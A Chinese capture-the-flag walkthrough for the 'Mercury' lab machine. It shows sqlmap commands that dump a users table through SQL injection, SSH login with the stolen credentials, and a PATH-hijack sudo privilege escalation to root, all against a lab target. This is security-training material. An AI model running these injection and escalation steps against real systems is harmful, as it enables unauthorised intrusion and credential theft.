Mercury通关小攻略

Mercury通关小笔记

扫描靶机查看开放了哪些端口

1638100814991

开放了8080端口,通过Web浏览器访问其8080端口,

页面上什么都没有,用dirb扫描出来的robots.txt页面也没有什么有用的信息,但是当URL填写的时候发生错误的时候,例如1638100904853

则会有一个报错提醒的页面,其中有三个目录,包含了一个隐藏起来的目录,也就是mercuryfacts/目录,访问其目录,

1638100968117

有两个超链接地址可以选择,选择第一个,1638101017857

发现URL中含有数字,随机改动数字发现页面也随着变化,然后访问第二个页面

1638101074704

页面的内容可以给我们两个信息,用户表和MySQL数据库,第一时间想到的就是SQL注入,但是注入点在哪里?没有GEt和POST传参的地方,那么极有可能就是第一个页面.

我们将第一个页面配合着sqlmap进行sql注入去尝试一下

sqlmap "http://172.16.101.250:8080/mercuryfacts/1/" --batch --dbs --level=3

然后发sqlmap成功跑出来了两个数据库,

1638101256558

然后继续跑mercury数据库

sqlmap -u "http://172.16.101.250:8080/mercuryfacts/1/" --batch -D mercury --tables --level=3

1638101344637

然后跑出来了两个表,然后就跑users表中的内容

sqlmap -u " http://172.16.101.250:8080/mercuryfacts/1/" --batch -D mercury -T users --dump --batch

1638101465180

成功跑出来了四个用户,然后我们一次用这四个用户名和密码进行ssh连接

发现只有最后一个webmaster是可以成功连接的,成功进入靶机之后,进入home目录,发现有三个用户,一个Linuxmaster一个mercury和webmaster,我们以及取得webmaster的密码还差Linuxmaster和mercury没有找到,然后在webmaster的家目录下mercury_proj的notes.txt中找到了Linuxmaster用户经过base64编码的密码,

1638101614091

1638101671242

解密为:mercurymeandiameteris4880km

webmaster用户没有sudo权限所以我们切换至linuxmaster用户,发现用户对/bin/check_syslog.sh文件存在sudo权限,check_syslog.sh文件内容为

1638101756169

然后环境变量提权

ln -s /bin/vi tail

export PATH=.:$PATH

sudo -u root --preserve-env=PATH /usr/bin/check_syslog.sh

即可成功提权为root用户

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐